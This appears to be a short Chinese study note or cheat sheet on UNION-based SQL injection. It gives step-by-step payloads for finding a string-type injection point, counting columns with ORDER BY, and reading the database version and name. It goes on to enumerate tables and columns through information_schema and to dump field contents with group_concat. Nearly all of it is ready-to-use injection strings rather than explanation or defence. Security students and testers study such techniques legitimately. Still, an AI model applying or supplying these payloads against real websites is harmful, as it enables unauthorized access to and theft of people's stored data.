SQL注入联合查询

1、判断注入点类型
1‘ and ’1‘ = ’1
1’ and ‘1’ = ‘2
返回结果不一样，存在注入，字符型

2、判断字段数
1‘ order by 1 - -(两个减号连在一起，后面一个空格) 从1往上递增一个一个测试
最后判断出字段数有几个

3、查版本 数据库名
1’ union select 1，database() —
1‘ union select 1，version() ,3 —。类似这样的语句

4、查出数据库名后，查该数据库下的表
1’ union select 1，（查询语句）
例如select table_name from information_schema.tables where table_schema = database() limit 1 — 获取第一个表
将前面的1改成-1可以只输出第一个数据
limit 1，2输出第二个表 ，以此类推

5、查到表后，查表内的字段
例如select column_name from information_schema.columns where table_name =‘表名’ and table_schema=database() limit 1 获取第一个字段
获取第二个字段方法同上

6、查询数据
select group_concat（字段，字段 ）from 表 limit 1 限制输出一行

0x3a 冒号